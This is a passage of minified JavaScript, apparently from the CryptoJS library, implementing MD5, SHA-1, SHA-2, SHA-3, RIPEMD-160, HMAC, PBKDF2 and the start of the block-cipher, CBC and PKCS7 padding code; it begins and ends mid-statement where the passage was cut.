= e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && 